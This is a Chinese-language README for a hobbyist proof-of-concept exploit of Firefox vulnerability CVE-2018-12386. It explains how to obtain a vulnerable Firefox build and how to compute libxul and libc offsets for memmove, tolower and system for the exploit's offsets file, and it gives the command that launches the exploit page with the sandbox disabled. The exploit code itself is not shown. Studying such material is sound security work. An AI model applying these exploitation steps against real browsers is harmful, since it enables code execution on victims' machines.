这是一个针对漏洞 CVE-2018-12386 的简单漏洞利用程序,由 Niklas Baumstark、Samuel Groß 和 Bruno Keith 发现。
这主要是一个我出于兴趣编写的 PoC(概念验证),不包含沙盒绕过,并且仅适用于已知利用程序所用偏移量的特定 Linux 环境(偏移量可在 exploit/offsets.js 中修改)。
该漏洞利用程序适用于 Firefox 62.0.3 及 Firefox ESR 60.2.2 之前的版本。
你可以直接从 Mozilla 的 FTP 服务器下载历史 Firefox 版本:https://ftp.mozilla.org/pub/firefox/releases/
例如,你可以使用 64 位 Linux 的 62.0.2 版本:https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2。
wget https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2
bzip2 -d firefox-62.0.2.tar.bz2
tar xvf firefox-62.0.2.tar
libxul.so 偏移量如果你使用的是 Firefox 62.0.2,那么 exploit/offsets.js 中提供的偏移量应该是正确的。
对于其他版本,一种简单的方法是使用 addrof 原语泄露 JavaScript 函数 Math.max 的地址,然后找到当前利用的 Firefox 实例中 libxul.so 的基地址(例如使用 cat /proc/$(pidof firefox)/maps),再将两者相减得到 libxul_math_max 偏移量。
如果你使用的是 Firefox 62.0.2,那么 exploit/offsets.js 中提供的偏移量应该是正确的。
对于其他版本,一种简单的方法是使用 objdump。
[lyte@vm firefox-62.0.2]$ objdump -d libxul.so | grep -i memmove@GLIBC
8006f0: ff 25 7a ac 40 05 jmpq *0x540ac7a(%rip) # 5c0b370 <memmove@GLIBC_2.2.5>
[lyte@vm firefox-62.0.2]$ objdump -d libxul.so | grep -i tolower@GLIBC
8052e0: ff 25 82 86 40 05 jmpq *0x5408682(%rip) # 5c0d968 <tolower@GLIBC_2.2.5>
5c0b370 和 5c0d968 就是我们需要的值,即 memmove 和 tolower 在 libxul.so 中的偏移量。
libc.so.6 偏移量这些偏移量完全取决于你所使用的 libc 版本。
# libc.so.6 location
[lyte@vm firefox-62.0.2]$ ldd /bin/ls | grep libc.so.6 | cut -d' ' -f3
/lib/x86_64-linux-gnu/libc.so.6
[lyte@vm firefox-62.0.2]$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " tolower$"
000000000002c0f0 T tolower
[lyte@vm firefox-62.0.2]$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " system$"
000000000003f480 W system
一旦你拥有 Firefox 和正确的偏移量,可以通过运行以下命令来测试漏洞利用程序:
MOZ_DISABLE_CONTENT_SANDBOX=1 /path/to/vulnerable/firefox /path/to/cve-2018-12386/exploit/pwn.html

如果你想打个招呼:@lyte__